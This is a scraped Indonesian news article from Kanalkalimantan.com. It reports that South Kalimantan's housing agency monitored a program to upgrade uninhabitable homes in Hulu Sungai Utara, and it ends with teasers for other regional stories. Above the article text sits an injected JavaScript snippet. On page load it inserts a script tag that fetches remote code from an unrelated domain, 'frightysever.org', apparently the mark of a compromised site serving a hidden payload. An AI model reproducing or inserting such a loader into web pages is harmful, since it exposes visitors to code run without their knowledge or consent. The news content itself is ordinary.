(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) melakukan monitoring dan evaluasi (Monev) pelaksanaan program bantuan peningkatan Rumah Tidak Layak Huni (RTLH) di Kabupaten Hulu Sungai Utara (HSU).
Monitoring dan evaluasi tersebut langsung dilakukan oleh Kepala Disperkim Kalsel Mursyidah Aminy didampingi Sekretaris, Kepala Bidang Pengembangan Permukiman, serta Tim Teknis RTLH.
Mursyidah mengatakan kegiatan tersebut bertujuan untuk melihat kondisi progres pelaksanaan pembangunan peningkatan RTLH Provinsi Kalsel di Kelurahan Paliwara dan Kelurahan Pelampitan, Kecamatan Amuntai Tengah, Kabupaten HSU.
Baca juga: Protes Pemilik Kandang Babi Tak Punya Pekerjaan Selain Beternak
“Kita ingin memastikan seberapa persen progres pengerjaan peningkatan RTLH di Kalsel,” jelasnya, Kamis (28/3/2024).
Menurut Kadisperkim Kalsel, program bantuan RTLH merupakan satu cara untuk mewujudkan hunian yang layak dan terjangkau bagi masyarakat, seluruh tahapan kegiatan mulai dari perencanaan, pelaksanaan dan pertanggung jawaban didukung oleh tenaga fasilitator lapangan melaksanakan tugas pendampingan dalam meningkatkan motivasi dan peran serta masyarakat.
“Semoga bantuan rumah tidak layak huni Provinsi Kalimantan Selatan bermanfaat dalam mewujudkan rumah sehat dan layak huni,” tambahnya. (Kanalkalimantan.com/infopublikmckalsel)
Editor: kk
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.